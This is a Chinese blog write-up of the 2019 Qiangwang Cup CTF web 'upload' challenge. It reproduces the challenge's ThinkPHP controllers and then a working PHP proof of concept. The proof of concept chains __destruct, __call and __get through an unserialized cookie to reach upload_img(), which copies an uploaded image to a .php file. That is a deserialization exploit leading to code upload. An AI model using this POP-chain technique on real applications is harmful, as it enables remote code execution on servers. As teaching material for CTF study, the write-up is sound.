2019强网杯web upload分析(pop链)

参考链接:https://blog.csdn.net/qq_41173457/article/details/90724943

                https://blog.csdn.net/qq_26406447/article/details/90671853

注意 只要namespace相同那就可以直接实例化同一namespace的类,至少在本题环境下是这样,所以可以在访问Index.php反序化影响到Regeister.php

 1 <?php
 2 namespace app\web\controller;
 3 use think\Controller;
 4 
 5 class Index extends Controller
 6 {
 7     public $profile;
 8     public $profile_db;
 9 
10     public function index()
11     {
12         if($this->login_check()){
13             $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
14             $this->redirect($curr_url,302);
15             exit();
16         }
17         return $this->fetch("index");
18     }
19 
20     public function home(){
21         if(!$this->login_check()){
22             $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
23             $this->redirect($curr_url,302);
24             exit();
25         }
26 
27         if(!$this->check_upload_img()){
28             $this->assign("username",$this->profile_db['username']);
29             return $this->fetch("upload");
30         }else{
31             $this->assign("img",$this->profile_db['img']);
32             $this->assign("username",$this->profile_db['username']);
33             return $this->fetch("home");
34         }
35     }
36 
37     public function login_check(){
38         $profile=cookie('user');
39         if(!empty($profile)){
40             $this->profile=unserialize(base64_decode($profile));
41             $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
42             if(array_diff($this->profile_db,$this->profile)==null){
43                 return 1;
44             }else{
45                 return 0;
46             }
47         }
48     }
49 
50     public function check_upload_img(){
51         if(!empty($this->profile) && !empty($this->profile_db)){
52             if(empty($this->profile_db['img'])){
53                 return 0;
54             }else{
55                 return 1;
56             }
57         }
58     }
59 
60     public function logout(){
61         cookie("user",null);
62         $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
63         $this->redirect($curr_url,302);
64         exit();
65     }
66 
67     public function __get($name)
68     {
69         return "";
70     }
71 
72 }
Index.php
<?php
namespace app\web\controller;//只是一个namespace 与下面的use无关

use think\Controller; //导入namespace 名为think下的 Controller 类

class Profile extends Controller
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {
        $this->checker=new Index();
        $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
        @chdir("../public/upload");
        if(!is_dir($this->upload_menu)){
            @mkdir($this->upload_menu);
        }
        @chdir($this->upload_menu);
    }

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function update_img(){
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    public function update_cookie(){
        $this->checker->profile['img']=$this->img;
        cookie("user",base64_encode(serialize($this->checker->profile)),3600);
    }

    public function ext_check(){
        $ext_arr=explode(".",$this->filename);
        $this->ext=end($ext_arr);
        if($this->ext=="png"){
            return 1;
        }else{
            return 0;
        }
    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}
profile.php
<?php
namespace app\web\controller;
use think\Controller;

class Register extends Controller
{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->checker=new Index();
    }
/*public function __construct()
{
    $this->checker=new Profile();
    
}*/
    public function register()
    {
        if ($this->checker) {
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
            $email = input("post.email", "", "addslashes");
            $password = input("post.password", "", "addslashes");
            $username = input("post.username", "", "addslashes");
            if($this->check_email($email)) {
                if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
                    $user_info = ["email" => $email, "password" => md5($password), "username" => $username];
                    if (db("user")->insert($user_info)) {
                        $this->registed = 1;
                        $this->success('Registed successful!', url('../index'));
                    } else {
                        $this->error('Registed failed!', url('../index'));
                    }
                } else {
                    $this->error('Account already exists!', url('../index'));
                }
            }else{
                $this->error('Email illegal!', url('../index'));
            }
        } else {
            $this->error('Something empty!', url('../index'));
        }
    }

    public function check_email($email){
        $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
        preg_match($pattern, $email, $matches);
        if(empty($matches)){
            return 0;
        }else{
            return 1;
        }
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }


}
Register.php

<?php
namespace app\web\controller;
use think\Controller;

class Login extends Controller
{
    public $checker;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function login(){
        if($this->checker){
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if(input("?post.email") && input("?post.password")){
            $email=input("post.email","","addslashes");
            $password=input("post.password","","addslashes");
            $user_info=db("user")->where("email",$email)->find();
            if($user_info) {
                if (md5($password) === $user_info['password']) {
                    $cookie_data=base64_encode(serialize($user_info));
                    cookie("user",$cookie_data,3600);
                    $this->success('Login successful!', url('../home'));
                } else {
                    $this->error('Login failed!', url('../index'));
                }
            }else{
                $this->error('email not registed!',url('../index'));
            }
        }else{
            $this->error('email or password is null!',url('../index'));
        }
    }


}
login.php

 

 

 

 

注意:1、的文通 Index.php 里namespace app\web\controller;和下面的 use think\Controller; 没关系 use think/Controller 中 Controller是一个类 ,它的namespace是think
   2、同一个namespce下可以直接实例化类不需要include\require(本题是如此,我在本地环境下实验是不行的)
poc:

<?php
namespace app\web\controller;

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

}
class Register
{
    public $checker;
    public $registed;
}
$a = new Register();
$a->registed = 0;
$a->checker = new Profile();
$a->checker->except = ['index'=>'upload_img'];$a->checker->filename_tmp = './upload/bc9c0f21801e3928b868149bfb65e408/fb5c81ed3a220004b71069645f112867.png';
$a->checker->filename = './upload/bc9c0f21801e3928b868149bfb65e408/2.php';
$a->checker->ext = 1;


echo base64_encode(serialize($a));

 

  之前做了一些题目 覆盖_dstruct()里面的调用类,巧的是调用的都是这样的:$this->checker->XX,然后我们就覆盖checker就行了

让反序列化的对象是Profile 让checker从new index() 变为 new Profile() ,调用index()方法,Profile没有index()方法从而调用__call 方法,

 public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

$this->{$this->{$name}}($arguments); 这句我看不太懂 ,但是看得出来调用了$name 而$name 是不能/不存在被调用的方法名称,$this->index index也不存在,随之调用__get()方法 ,这时候上面poc中的 "$a->checker->except = ['index'=>'upload_img'];"发挥作用了,代码让__get()调用了upload_img(小细节:$this->方法名也可以调用函数)然后看upload_img()方法

 

 public function upload_img(){
        if($this->checker){//$this->checker 不存在, 绕过
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){//$_FILES :我们没上传文件 空 绕过
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {//ext=1 进入逻辑
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename;/*copy是复制第一个参数是文件,第二个参数是目的地 */ @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }
完成

此题是寻找pop链调用 image_upload() 绕过if 然后目的是 copy()这里,全程围绕调用 copy() 为中心(感觉是个病句)

posted @ 2019-12-24 16:21  NBBack  阅读(420)  评论(0编辑  收藏  举报